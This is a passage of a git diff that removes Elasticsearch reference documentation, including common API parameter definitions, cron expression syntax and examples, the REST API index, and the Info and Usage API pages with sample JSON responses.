-`payloads`::
-(Optional, Boolean) If `true`, the response includes term payloads.
-Defaults to `true`.
-end::payloads[]
-
-tag::pipeline[]
-`pipeline`::
-(Optional, string) ID of the pipeline to use to preprocess incoming documents.
-end::pipeline[]
-
-tag::pages-processed[]
-The number of search or bulk index operations processed. Documents are
-processed in batches instead of individually.
-end::pages-processed[]
-
-tag::pivot[]
-The method for transforming the data. These objects define the pivot function
-`group by` fields and the aggregation to reduce the data.
-end::pivot[]
-
-tag::pivot-aggs[]
-Defines how to aggregate the grouped data. The following aggregations are 
-currently supported:
-+
---
-* <<search-aggregations-metrics-avg-aggregation,Average>>
-* <<search-aggregations-pipeline-bucket-script-aggregation,Bucket script>>
-* <<search-aggregations-pipeline-bucket-selector-aggregation,Bucket selector>>
-* <<search-aggregations-metrics-cardinality-aggregation,Cardinality>>
-* <<search-aggregations-bucket-filter-aggregation,Filter>>
-* <<search-aggregations-metrics-geobounds-aggregation,Geo bounds>>
-* <<search-aggregations-metrics-geocentroid-aggregation,Geo centroid>>
-* <<search-aggregations-metrics-max-aggregation,Max>>
-* <<search-aggregations-metrics-min-aggregation,Min>>
-* <<search-aggregations-metrics-percentile-aggregation,Percentiles>>
-* <<search-aggregations-bucket-rare-terms-aggregation, Rare Terms>>
-* <<search-aggregations-metrics-scripted-metric-aggregation,Scripted metric>>
-* <<search-aggregations-metrics-sum-aggregation,Sum>>
-* <<search-aggregations-bucket-terms-aggregation, Terms>>
-* <<search-aggregations-metrics-valuecount-aggregation,Value count>>
-* <<search-aggregations-metrics-weight-avg-aggregation,Weighted average>>
-
---
-end::pivot-aggs[]
-
-tag::pivot-group-by[]
-Defines how to group the data. More than one grouping can be defined per pivot. 
-The following groupings are currently supported:
-+
---
-* <<_date_histogram,Date histogram>>
-* <<_geotile_grid,Geotile Grid>>
-* <<_histogram,Histogram>>
-* <<_terms,Terms>>
-
---
-end::pivot-group-by[]
-
-tag::positions[]
-`positions`::
-(Optional, Boolean) If `true`, the response includes term positions.
-Defaults to `true`.
-end::positions[]
-
-tag::preference[]
-`preference`::
-(Optional, string) Specifies the node or shard the operation should be
-performed on. Random by default.
-end::preference[]
-
-tag::processing-time-ms[]
-The amount of time spent processing results, in milliseconds.
-end::processing-time-ms[]
-
-tag::processing-total[]
-The number of processing operations.
-end::processing-total[]
-
-tag::search-q[]
-`q`::
-(Optional, string) Query in the Lucene query string syntax.
-end::search-q[]
-
-tag::query[]
-`query`::
-(Optional, <<query-dsl,query object>>) Defines the search definition using the
-<<query-dsl,Query DSL>>.
-end::query[]
-
-tag::realtime[]
-`realtime`::
-(Optional, Boolean) If `true`, the request is real-time as opposed to near-real-time.
-Defaults to `true`. See <<realtime>>.
-end::realtime[]
-
-tag::refresh[]
-`refresh`::
-(Optional, enum) If `true`, {es} refreshes the affected shards to make this
-operation visible to search, if `wait_for` then wait for a refresh to make
-this operation visible to search, if `false` do nothing with refreshes.
-Valid values: `true`, `false`, `wait_for`. Default: `false`.
-end::refresh[]
-
-tag::request_cache[]
-`request_cache`::
-(Optional, Boolean) If `true`, the request cache is used for this request.
-Defaults to the index-level setting.
-end::request_cache[]
-
-tag::requests_per_second[]
-`requests_per_second`::
-(Optional, integer) The throttle for this request in sub-requests per second.
-Defaults to `-1` (no throttle).
-end::requests_per_second[]
-
-tag::routing[]
-`routing`::
-(Optional, string) Target the specified primary shard.
-end::routing[]
-
-tag::index-routing[]
-`routing`::
-(Optional, string)
-Custom <<mapping-routing-field, routing value>>
-used to route operations to a specific shard.
-end::index-routing[]
-
-tag::cat-s[]
-`s`::
-(Optional, string) Comma-separated list of column names or column aliases used
-to sort the response.
-end::cat-s[]
-
-tag::scroll[]
-`scroll`::
-(Optional, <<time-units, time units>>) Specifies how long a consistent view of
-the index should be maintained for scrolled search.
-end::scroll[]
-
-tag::scroll_size[]
-`scroll_size`::
-(Optional, integer) Size of the scroll request that powers the operation.
-Defaults to 1000.
-end::scroll_size[]
-
-tag::search-failures[]
-The number of search failures.
-end::search-failures[]
-
-tag::search-time-ms[]
-The amount of time spent searching, in milliseconds.
-end::search-time-ms[]
-
-tag::search-total[]
-The number of search operations on the source index for the {transform}.
-end::search-total[]
-
-tag::search_type[]
-`search_type`::
-(Optional, string) The type of the search operation. Available options:
-* `query_then_fetch`
-* `dfs_query_then_fetch`
-end::search_type[]
-
-tag::segment[]
-Name of the segment, such as `_0`. The segment name is derived from
-the segment generation and used internally to create file names in the directory
-of the shard.
-end::segment[]
-
-tag::segment-search[]
-If `true`,
-the segment is searchable.
-+
-If `false`,
-the segment has most likely been written to disk
-but needs a <<indices-refresh,refresh>> to be searchable.
-end::segment-search[]
-
-tag::segment-size[]
-Disk space used by the segment, such as `50kb`.
-end::segment-size[]
-
-tag::settings[]
-`settings`::
-(Optional, <<index-modules-settings,index setting object>>) Configuration
-options for the index. See <<index-modules-settings>>.
-end::settings[]
-
-tag::target-index-settings[]
-`settings`::
-(Optional, <<index-modules-settings,index setting object>>)
-Configuration options for the target index.
-See <<index-modules-settings>>.
-end::target-index-settings[]
-
-tag::size-transforms[]
-Specifies the maximum number of {transforms} to obtain. The default value is
-`100`.
-end::size-transforms[]
-
-tag::slices[]
-`slices`::
-(Optional, integer) The number of slices this task should be divided into.
-Defaults to 1 meaning the task isn't sliced into subtasks.
-end::slices[]
-
-tag::sort[]
-`sort`::
-(Optional, string) A comma-separated list of <field>:<direction> pairs.
-end::sort[]
-
-tag::source[]
-`_source`::
-(Optional, string) True or false to return the `_source` field or not, or a
-list of fields to return.
-end::source[]
-
-tag::source_excludes[]
-`_source_excludes`::
-(Optional, string)
-A comma-separated list of <<mapping-source-field,source fields>> to exclude from
-the response.
-+
-You can also use this parameter to exclude fields from the subset specified in
-`_source_includes` query parameter.
-+
-If the `_source` parameter is `false`, this parameter is ignored.
-end::source_excludes[]
-
-tag::source_includes[]
-`_source_includes`::
-(Optional, string)
-A comma-separated list of <<mapping-source-field,source fields>> to
-include in the response.
-+
-If this parameter is specified, only these source fields are returned. You can
-exclude fields from this subset using the `_source_excludes` query parameter.
-+
-If the `_source` parameter is `false`, this parameter is ignored.
-end::source_includes[]
-
-tag::source-transforms[]
-The source of the data for the {transform}.
-end::source-transforms[]
-
-tag::source-index-transforms[]
-The _source indices_ for the {transform}. It can be a single index, an index
-pattern (for example, `"my-index-*"`), an array of indices (for example,
-`["my-index-000001", "my-index-000002"]`), or an array of index patterns (for example,
-`["my-index-*", "my-other-index-*"]`.
-end::source-index-transforms[]
-
-tag::source-query-transforms[]
-A query clause that retrieves a subset of data from the source index. See
-<<query-dsl>>.
-end::source-query-transforms[]
-
-tag::state-transform[]
-The status of the {transform}, which can be one of the following values:
-+
---
-* `aborting`: The {transform} is aborting.
-* `failed`: The {transform} failed. For more information about the failure,
-check the reason field.
-* `indexing`: The {transform} is actively processing data and creating new
-documents.
-* `started`: The {transform} is running but not actively indexing data.
-* `stopped`: The {transform} is stopped.
-* `stopping`: The {transform} is stopping.
---
-end::state-transform[]
-
-tag::state-transform-reason[]
-If a {transform} has a `failed` state, this property provides details about the
-reason for the failure.
-end::state-transform-reason[]
-
-tag::stats[]
-`stats`::
-(Optional, string) Specific `tag` of the request for logging and statistical
-purposes.
-end::stats[]
-
-tag::stored_fields[]
-`stored_fields`::
-(Optional, Boolean) If `true`, retrieves the document fields stored in the
-index rather than the document `_source`. Defaults to `false`.
-end::stored_fields[]
-
-tag::sync[]
-Defines the properties {transforms} require to run continuously.
-end::sync[]
-
-tag::sync-time[]
-Specifies that the {transform} uses a time field to synchronize the source and
-destination indices.
-end::sync-time[]
-
-tag::sync-time-field[]
-The date field that is used to identify new documents in the source.
-end::sync-time-field[]
-
-tag::sync-time-delay[]
-The time delay between the current time and the latest input data time. The
-default value is `60s`.
-end::sync-time-delay[]
-
-tag::transform-settings[]
-Defines optional {transform} settings.
-end::transform-settings[]
-
-tag::transform-settings-docs-per-second[]
-Specifies a limit on the number of input documents per second. This setting
-throttles the {transform} by adding a wait time between search requests. The
-default value is `null`, which disables throttling.
-end::transform-settings-docs-per-second[]
-
-tag::transform-settings-max-page-search-size[]
-Defines the initial page size to use for the composite aggregation for each
-checkpoint. If circuit breaker exceptions occur, the page size is dynamically
-adjusted to a lower value. The minimum value is `10` and the maximum is `10,000`.
-The default value is `500`.
-end::transform-settings-max-page-search-size[]
-
-tag::target-index[]
-`<target-index>`::
-+
---
-(Required, string)
-Name of the target index to create.
-
-include::{es-repo-dir}/indices/create-index.asciidoc[tag=index-name-reqs]
---
-end::target-index[]
-
-tag::task-id[]
-`<task_id>`::
-(Optional, string) ID of the task to return
-(`node_id:task_number`).
-end::task-id[]
-
-tag::term_statistics[]
-`term_statistics`::
-(Optional, Boolean) If `true`, the response includes term frequency and document frequency.
-Defaults to `false`.
-end::term_statistics[]
-
-tag::terminate_after[]
-`terminate_after`::
-(Optional, integer) The maximum number of documents to collect for each shard,
-upon reaching which the query execution will terminate early.
-end::terminate_after[]
-
-tag::time[]
-`time`::
-(Optional, <<time-units,time units>>)
-Unit used to display time values.
-end::time[]
-
-tag::timeoutparms[]
-tag::master-timeout[]
-`master_timeout`::
-(Optional, <<time-units, time units>>)
-Period to wait for a connection to the master node. If no response is received
-before the timeout expires, the request fails and returns an error. Defaults to
-`30s`.
-end::master-timeout[]
-
-tag::timeout[]
-`timeout`::
-(Optional, <<time-units, time units>>)
-Period to wait for a response. If no response is received before the timeout
-expires, the request fails and returns an error. Defaults to `30s`.
-end::timeout[]
-end::timeoutparms[]
-
-tag::type[]
-`<type>`::
-(Optional, string)
-Comma-separated list or wildcard expression of types
-used to limit the request.
-end::type[]
-
-tag::transform-id[]
-Identifier for the {transform}. This identifier can contain lowercase
-alphanumeric characters (a-z and 0-9), hyphens, and underscores. It must start
-and end with alphanumeric characters.
-end::transform-id[]
-
-tag::transform-id-wildcard[]
-Identifier for the {transform}. It can be a {transform} identifier or a wildcard
-expression. If you do not specify one of these options, the API returns
-information for all {transforms}.
-end::transform-id-wildcard[]
-
-tag::trigger-count[]
-The number of times the {transform} has been triggered by the scheduler. For
-example, the scheduler triggers the {transform} indexer to check for updates
-or ingest new data at an interval specified in the
-<<put-transform-request-body,`frequency` property>>.
-end::trigger-count[]
-
-tag::cat-v[]
-`v`::
-(Optional, Boolean) If `true`, the response includes column headings.
-Defaults to `false`.
-end::cat-v[]
-
-tag::version[]
-`version`::
-(Optional, Boolean) If `true`, returns the document version as part of a hit.
-end::version[]
-
-tag::doc-version[]
-`version`::
-(Optional, integer) Explicit version number for concurrency control.
-The specified version must match the current version of the document for the
-request to succeed.
-end::doc-version[]
-
-tag::segment-version[]
-Version of Lucene used to write the segment.
-end::segment-version[]
-
-tag::version_type[]
-`version_type`::
-(Optional, enum) Specific version type: `internal`, `external`,
-`external_gte`.
-end::version_type[]
-
-tag::wait_for_active_shards[]
-`wait_for_active_shards`::
-+
---
-(Optional, string) The number of shard copies that must be active before
-proceeding with the operation. Set to `all` or any positive integer up
-to the total number of shards in the index (`number_of_replicas+1`).
-Default: 1, the primary shard.
-
-See <<index-wait-for-active-shards>>.
---
-end::wait_for_active_shards[]
diff --git a/docs/reference/rest-api/cron-expressions.asciidoc b/docs/reference/rest-api/cron-expressions.asciidoc
deleted file mode 100644
index d817974e154..00000000000
--- a/docs/reference/rest-api/cron-expressions.asciidoc
+++ /dev/null
@@ -1,182 +0,0 @@
-[[cron-expressions]]
-=== Cron expressions
-
-A cron expression is a string of the following form:
-
-[source,txt]
-------------------------------
-    <seconds> <minutes> <hours> <day_of_month> <month> <day_of_week> [year]
-------------------------------
-
-{es} uses the cron parser from the https://quartz-scheduler.org[Quartz Job Scheduler]. 
-For more information about writing Quartz cron expressions, see the
-http://www.quartz-scheduler.org/documentation/quartz-2.3.0/tutorials/crontrigger.html[Quartz CronTrigger Tutorial].
-
-All schedule times are in coordinated universal time (UTC); other timezones are not supported.
-
-TIP: You can use the <<elasticsearch-croneval>> command line tool to validate your cron expressions.
-
-
-[[cron-elements]]
-==== Cron expression elements
-
-All elements are required except for `year`. 
-See <<cron-special-characters>> for information about the allowed special characters.
-
-`<seconds>`::
-(Required)
-Valid values: `0`-`59` and the special characters `,` `-` `*` `/`
-
-`<minutes>`:: 
-(Required)
-Valid values: `0`-`59` and the special characters `,` `-` `*` `/`
-
-`<hours>`:: 
-(Required)
-Valid values: `0`-`23` and the special characters `,` `-` `*` `/`
-
-`<day_of_month>`:: 
-(Required)
-Valid values: `1`-`31` and the special characters `,` `-` `*` `/` `?` `L` `W`
-
-`<month>`::  
-(Required)
-Valid values: `1`-`12`, `JAN`-`DEC`, `jan`-`dec`, and the special characters `,` `-` `*` `/`
-
-`<day_of_week>`:: 
-(Required)
-Valid values: `1`-`7`, `SUN`-`SAT`, `sun`-`sat`,  and the special characters `,` `-` `*` `/` `?` `L` `#`
-
-`<year>`:: 
-(Optional)
-Valid values: `1970`-`2099` and the special characters `,` `-` `*` `/`
-
-[[cron-special-characters]]
-==== Cron special characters
-
-`*`::
-Selects every possible value for a field. For
-example, `*` in the `hours` field means "every hour".
-
-`?`::                
-No specific value. Use when you don't care what the value
-is. For example, if you want the schedule to trigger on a
-particular day of the month, but don't care what day of
-the week that happens to be, you can specify `?` in the
-`day_of_week` field.
-
-`-`::                 
-A range of values (inclusive). Use to separate a minimum
-and maximum value. For example, if you want the schedule
-to trigger every hour between 9:00 a.m. and 5:00 p.m., you
-could specify `9-17` in the `hours` field.
-
-`,`::
-Multiple values. Use to separate multiple values for a
-field. For example, if you want the schedule to trigger
-every Tuesday and Thursday, you could specify `TUE,THU`
-in the `day_of_week` field.
-
-`/`::
-Increment. Use to separate values when specifying a time
-increment. The first value represents the starting point,
-and the second value represents the interval. For example,
-if you want the schedule to trigger every 20 minutes
-starting at the top of the hour, you could specify `0/20`
-in the `minutes` field. Similarly, specifying `1/5` in
-`day_of_month` field will trigger every 5 days starting on
-the first day of the month.
-
-`L`::
-Last. Use in the `day_of_month` field to mean the last day
-of the month--day 31 for January, day 28 for February in
-non-leap years, day 30 for April, and so on. Use alone in
-the `day_of_week` field in place of `7` or `SAT`, or after
-a particular day of the week to select the last day of that
-type in the month. For example `6L` means the last Friday
-of the month. You can specify `LW` in the `day_of_month`
-field to specify the last weekday of the month. Avoid using
-the `L` option when specifying lists or ranges of values,
-as the results likely won't be what you expect.
-
-`W`::
-Weekday. Use to specify the weekday (Monday-Friday) nearest
-the given day. As an example, if you specify `15W` in the
-`day_of_month` field and the 15th is a Saturday, the
-schedule will trigger on the 14th. If the 15th is a Sunday,
-the schedule will trigger on Monday the 16th. If the 15th
-is a Tuesday, the schedule will trigger on Tuesday the 15th.
-However if you specify `1W` as the value for `day_of_month`,
-and the 1st is a Saturday, the schedule will trigger on
-Monday the 3rd--it won't jump over the month boundary. You
-can specify `LW` in the `day_of_month` field to specify the
-last weekday of the month. You can only use the `W` option
-when the `day_of_month` is a single day--it is not valid
-when specifying a range or list of days.
-
-`#`::
-Nth XXX day in a month. Use in the `day_of_week` field to
-specify the nth XXX day of the month. For example, if you
-specify `6#1`, the schedule will trigger on the first
-Friday of the month. Note that if you specify `3#5` and
-there are not 5 Tuesdays in a particular month, the
-schedule won't trigger that month.
-
-[[cron-expression-examples]]
-==== Examples
-
-[[cron-example-daily]]
-===== Setting daily triggers
-
-`0 5 9 * * ?`::
-Trigger at 9:05 a.m. UTC every day.
-
-`0 5 9 * * ? 2020`::
-Trigger at 9:05 a.m. UTC every day during the year 2020.
-
-[[cron-example-range]]
-===== Restricting triggers to a range of days or times
-
-`0 5 9 ? * MON-FRI`::
-Trigger at 9:05 a.m. UTC Monday through Friday.
-
-`0 0-5 9 * * ?`::
-Trigger every minute starting at 9:00 a.m. UTC and ending at 9:05 a.m. UTC every day.
-
-[[cron-example-interval]]
-===== Setting interval triggers
-
-`0 0/15 9 * * ?`::
-Trigger every 15 minutes starting at 9:00 a.m. UTC and ending at 9:45 a.m. UTC every day.
-
-`0 5 9 1/3 * ?`::
-Trigger at 9:05 a.m. UTC every 3 days every month, starting on the first day of the month.
-
-[[cron-example-day]]
-===== Setting schedules that trigger on a particular day
-
-`0 1 4 1 4 ?`::
-Trigger every April 1st at 4:01 a.m. UTC.
-`0 0,30 9 ? 4 WED`::
-Trigger at 9:00 a.m. UTC and at 9:30 a.m. UTC every Wednesday in the month of April.
-
-`0 5 9 15 * ?`::
-Trigger at 9:05 a.m. UTC on the 15th day of every month.
-
-`0 5 9 15W * ?`::
-Trigger at 9:05 a.m. UTC on the nearest weekday to the 15th of every month.
-
-`0 5 9 ? * 6#1`::
-Trigger at 9:05 a.m. UTC on the first Friday of every month.
-
-[[cron-example-last]]
-===== Setting triggers using last
-
-`0 5 9 L * ?`::
-Trigger at 9:05 a.m. UTC on the last day of every month.
-
-`0 5 9 ? * 2L`::
-Trigger at 9:05 a.m. UTC on the last Monday of every month.
-
-`0 5 9 LW * ?`::
-Trigger at 9:05 a.m. UTC on the last weekday of every month.
diff --git a/docs/reference/rest-api/defs.asciidoc b/docs/reference/rest-api/defs.asciidoc
deleted file mode 100644
index 405d738712e..00000000000
--- a/docs/reference/rest-api/defs.asciidoc
+++ /dev/null
@@ -1,11 +0,0 @@
-[role="xpack"]
-[[api-definitions]]
-== Definitions
-
-The role mappings resource definition you can find below is used in APIs related
-to {security-features}.
-
-* <<role-mapping-resources,Role mappings>>
-
-
-include::{xes-repo-dir}/rest-api/security/role-mapping-resources.asciidoc[]
diff --git a/docs/reference/rest-api/index.asciidoc b/docs/reference/rest-api/index.asciidoc
deleted file mode 100644
index 0e0f2218fd0..00000000000
--- a/docs/reference/rest-api/index.asciidoc
+++ /dev/null
@@ -1,75 +0,0 @@
-[[rest-apis]]
-= REST APIs
-
-[partintro]
---
-{es} exposes REST APIs that are used by the UI components and can be called
-directly to configure and access {es} features.
-
-[NOTE]
-We are working on including more {es} APIs in this section. Some content might
-not be included yet.
-
-* <<api-conventions, API conventions>>
-ifdef::permanently-unreleased-branch[]
-* <<autoscaling-apis, Autoscaling APIs>>
-endif::[]
-* <<cat, cat APIs>>
-* <<cluster, Cluster APIs>>
-* <<ccr-apis,{ccr-cap} APIs>>
-* <<data-stream-apis,Data stream APIs>>
-* <<docs, Document APIs>>
-* <<enrich-apis,Enrich APIs>>
-* <<graph-explore-api,Graph Explore API>>
-* <<indices, Index APIs>>
-* <<index-lifecycle-management-api,Index lifecycle management APIs>>
-* <<ingest-apis,Ingest APIs>>
-* <<info-api,Info API>>
-* <<licensing-apis,Licensing APIs>>
-* <<ml-apis,{ml-cap} {anomaly-detect} APIs>>
-* <<ml-df-analytics-apis,{ml-cap} {dfanalytics} APIs>>
-* <<migration-api,Migration APIs>>
-* <<indices-reload-analyzers,Reload Search Analyzers API>>
-* <<repositories-metering-apis,Repositories Metering APIs>>
-* <<rollup-apis,Rollup APIs>>
-* <<search, Search APIs>>
-* <<searchable-snapshots-apis, Searchable snapshots APIs>>
-* <<security-api,Security APIs>>
-* <<snapshot-restore-apis,Snapshot and restore APIs>>
-* <<snapshot-lifecycle-management-api,Snapshot lifecycle management APIs>>
-* <<transform-apis,{transform-cap} APIs>>
-* <<usage-api,Usage API>>
-* <<watcher-api,Watcher APIs>>
---
-
-include::{es-repo-dir}/api-conventions.asciidoc[]
-ifdef::permanently-unreleased-branch[]
-include::{es-repo-dir}/autoscaling/apis/autoscaling-apis.asciidoc[]
-endif::[]
-include::{es-repo-dir}/cat.asciidoc[]
-include::{es-repo-dir}/cluster.asciidoc[]
-include::{es-repo-dir}/ccr/apis/ccr-apis.asciidoc[]
-include::{es-repo-dir}/data-streams/data-stream-apis.asciidoc[]
-include::{es-repo-dir}/docs.asciidoc[]
-include::{es-repo-dir}/ingest/apis/enrich/index.asciidoc[]
-include::{es-repo-dir}/graph/explore.asciidoc[]
-include::{es-repo-dir}/indices.asciidoc[]
-include::{es-repo-dir}/ilm/apis/ilm-api.asciidoc[]
-include::{es-repo-dir}/ingest/apis/index.asciidoc[]
-include::info.asciidoc[]
-include::{es-repo-dir}/licensing/index.asciidoc[]
-include::{es-repo-dir}/ml/anomaly-detection/apis/index.asciidoc[]
-include::{es-repo-dir}/ml/df-analytics/apis/index.asciidoc[]
-include::{es-repo-dir}/migration/migration.asciidoc[]
-include::{es-repo-dir}/indices/apis/reload-analyzers.asciidoc[]
-include::{es-repo-dir}/repositories-metering-api/repositories-metering-apis.asciidoc[]
-include::{es-repo-dir}/rollup/rollup-api.asciidoc[]
-include::{es-repo-dir}/search.asciidoc[]
-include::{es-repo-dir}/searchable-snapshots/apis/searchable-snapshots-apis.asciidoc[]
-include::{xes-repo-dir}/rest-api/security.asciidoc[]
-include::{es-repo-dir}/snapshot-restore/apis/snapshot-restore-apis.asciidoc[]
-include::{es-repo-dir}/slm/apis/slm-api.asciidoc[]
-include::{es-repo-dir}/transform/apis/index.asciidoc[]
-include::usage.asciidoc[]
-include::{xes-repo-dir}/rest-api/watcher.asciidoc[]
-include::defs.asciidoc[]
diff --git a/docs/reference/rest-api/info.asciidoc b/docs/reference/rest-api/info.asciidoc
deleted file mode 100644
index 50c87fe99e1..00000000000
--- a/docs/reference/rest-api/info.asciidoc
+++ /dev/null
@@ -1,188 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[info-api]]
-== Info API
-
-Provides general information about the installed {xpack} features.
-
-[discrete]
-[[info-api-request]]
-=== {api-request-title}
-
-`GET /_xpack`
-
-[discrete]
-[[info-api-desc]]
-=== {api-description-title}
-
-The information provided by this API includes:
-
-* Build Information - including the build number and timestamp.
-* License Information - basic information about the currently installed license.
-* Features Information - The features that are currently enabled and available
-  under the current license.
-
-[discrete]
-[[info-api-path-params]]
-=== {api-path-parms-title}
-
-`categories`::
-  (Optional, list) A comma-separated list of the information categories to
-  include in the response. For example, `build,license,features`.
-
-`human`::
-  (Optional, Boolean) Defines whether additional human-readable information is
-  included in the response. In particular, it adds descriptions and a tag line.
-  The default value is `true`.
-
-[discrete]
-[[info-api-example]]
-=== {api-examples-title}
-
-The following example queries the info API:
-
-[source,console]
-------------------------------------------------------------
-GET /_xpack
-------------------------------------------------------------
-
-Example response:
-
-[source,console-result]
-------------------------------------------------------------
-{
-   "build" : {
-      "hash" : "2798b1a3ce779b3611bb53a0082d4d741e4d3168",
-      "date" : "2015-04-07T13:34:42Z"
-   },
-   "license" : {
-      "uid" : "893361dc-9749-4997-93cb-xxx",
-      "type" : "trial",
-      "mode" : "trial",
-      "status" : "active",
-      "expiry_date_in_millis" : 1542665112332
-   },
-   "features" : {
-      "ccr" : {
-        "available" : true,
-        "enabled" : true
-      },
-      "analytics" : {
-          "available" : true,
-          "enabled" : true
-      },
-      "enrich" : {
-          "available" : true,
-          "enabled" : true
-      },
-      "flattened" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "frozen_indices" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "graph" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "ilm" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "logstash" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "ml" : {
-         "available" : true,
-         "enabled" : true,
-         "native_code_info" : {
-           "version" : "7.0.0-alpha1-SNAPSHOT",
-           "build_hash" : "99a07c016d5a73"
-        }
-      },
-      "monitoring" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "rollup": {
-         "available": true,
-         "enabled": true
-      },
-      "searchable_snapshots" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "security" : {
-         "available" : true,
-         "enabled" : false
-      },
-      "slm" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "spatial" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "eql" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "sql" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "transform" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "vectors" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "voting_only" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "watcher" : {
-         "available" : true,
-         "enabled" : true
-      },
-      "data_streams" : {
-         "available" : true,
-         "enabled" : true,
-      },
-      "data_tiers" : {
-         "available" : true,
-         "enabled" : true,
-      }
-   },
-   "tagline" : "You know, for X"
-}
-------------------------------------------------------------
-// TESTRESPONSE[s/"hash" : "2798b1a3ce779b3611bb53a0082d4d741e4d3168",/"hash" : "$body.build.hash",/]
-// TESTRESPONSE[s/"date" : "2015-04-07T13:34:42Z"/"date" : "$body.build.date"/]
-// TESTRESPONSE[s/"uid" : "893361dc-9749-4997-93cb-xxx",/"uid": "$body.license.uid",/]
-// TESTRESPONSE[s/"expiry_date_in_millis" : 1542665112332/"expiry_date_in_millis" : "$body.license.expiry_date_in_millis"/]
-// TESTRESPONSE[s/"version" : "7.0.0-alpha1-SNAPSHOT",/"version": "$body.features.ml.native_code_info.version",/]
-// TESTRESPONSE[s/"build_hash" : "99a07c016d5a73"/"build_hash": "$body.features.ml.native_code_info.build_hash"/]
-// TESTRESPONSE[s/"eql" : \{[^\}]*\},/"eql": $body.$_path,/]
-// eql is disabled by default on release builds and enabled everywhere else during the initial implementation phase until its release
-// So much s/// but at least we test that the layout is close to matching....
-
-The following example only returns the build and features information:
-
-[source,console]
-------------------------------------------------------------
-GET /_xpack?categories=build,features
-------------------------------------------------------------
-
-The following example removes the descriptions from the response:
-
-[source,console]
-------------------------------------------------------------
-GET /_xpack?human=false
-------------------------------------------------------------
diff --git a/docs/reference/rest-api/usage.asciidoc b/docs/reference/rest-api/usage.asciidoc
deleted file mode 100644
index 7289b0d27b6..00000000000
--- a/docs/reference/rest-api/usage.asciidoc
+++ /dev/null
@@ -1,370 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[usage-api]]
-== Usage API
-
-Provides usage information about the installed {xpack} features.
-
-[discrete]
-[[usage-api-request]]
-=== {api-request-title}
-
-`GET /_xpack/usage`
-
-[discrete]
-[[usage-api-desc]]
-=== {api-description-title}
-
-This API provides information about which features are currently enabled and
-available under the current license and some usage statistics.
-
-[discrete]
-[[usage-api-query-parms]]
-=== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-[discrete]
-[[usage-api-example]]
-=== {api-examples-title}
-
-[source,console]
-------------------------------------------------------------
-GET /_xpack/usage
-------------------------------------------------------------
-
-[source,console-result]
-------------------------------------------------------------
-{
-  "security" : {
-    "available" : true,
-    "enabled" : false,
-    "ssl" : {
-      "http" : {
-        "enabled" : false
-      },
-      "transport" : {
-        "enabled" : false
-      }
-    }
-  },
-  "monitoring" : {
-    "available" : true,
-    "enabled" : true,
-    "collection_enabled" : false,
-    "enabled_exporters" : {
-      "local" : 1
-    }
-  },
-  "watcher" : {
-    "available" : true,
-    "enabled" : true,
-    "execution" : {
-      "actions" : {
-        "_all" : {
-          "total" : 0,
-          "total_time_in_ms" : 0
-        }
-      }
-    },
-    "watch" : {
-      "input" : {
-        "_all" : {
-          "total" : 0,
-          "active" : 0
-        }
-      },
-      "trigger" : {
-        "_all" : {
-          "total" : 0,
-          "active" : 0
-        }
-      }
-    },
-    "count" : {
-      "total" : 0,
-      "active" : 0
-    }
-  },
-  "graph" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "ml" : {
-    "available" : true,
-    "enabled" : true,
-    "jobs" : {
-      "_all" : {
-        "count" : 0,
-        "detectors" : {
-          ...
-        },
-        "created_by" : { },
-        "model_size" : {
-          ...
-        },
-        "forecasts" : {
-          "total" : 0,
-          "forecasted_jobs" : 0
-        }
-      }
-    },
-    "datafeeds" : {
-      "_all" : {
-        "count" : 0
-      }
-    },
-    "data_frame_analytics_jobs" : {
-      "_all" : {
-        "count" : 0
-      }
-    },
-    "inference" : {
-      "ingest_processors" : {
-        "_all" : {
-          "num_docs_processed" : {
-            "max" : 0,
-            "sum" : 0,
-            "min" : 0
-          },
-          "pipelines" : {
-            "count" : 0
-          },
-          "num_failures" : {
-            "max" : 0,
-            "sum" : 0,
-            "min" : 0
-          },
-          "time_ms" : {
-            "max" : 0,
-            "sum" : 0,
-            "min" : 0
-          }
-        }
-      },
-      "trained_models" : {
-        "_all" : {
-          "count" : 0
-        }
-      }
-    },
-    "node_count" : 1
-  },
-  "logstash" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "eql" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "sql" : {
-    "available" : true,
-    "enabled" : true,
-    "features" : {
-      "having" : 0,
-      "subselect" : 0,
-      "limit" : 0,
-      "orderby" : 0,
-      "where" : 0,
-      "join" : 0,
-      "groupby" : 0,
-      "command" : 0,
-      "local" : 0
-    },
-    "queries" : {
-      "rest" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "cli" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "canvas" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "odbc" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "jdbc" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "odbc32" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "odbc64" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "_all" : {
-        "total" : 0,
-        "paging" : 0,
-        "failed" : 0
-      },
-      "translate" : {
-        "count" : 0
-      }
-    }
-  },
-  "rollup" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "ilm" : {
-    "policy_count" : 3,
-    "policy_stats" : [
-      ...
-    ]
-  },
-  "slm" : {
-    "available" : true,
-    "enabled" : true
-  },
-  "ccr" : {
-    "available" : true,
-    "enabled" : true,
-    "follower_indices_count" : 0,
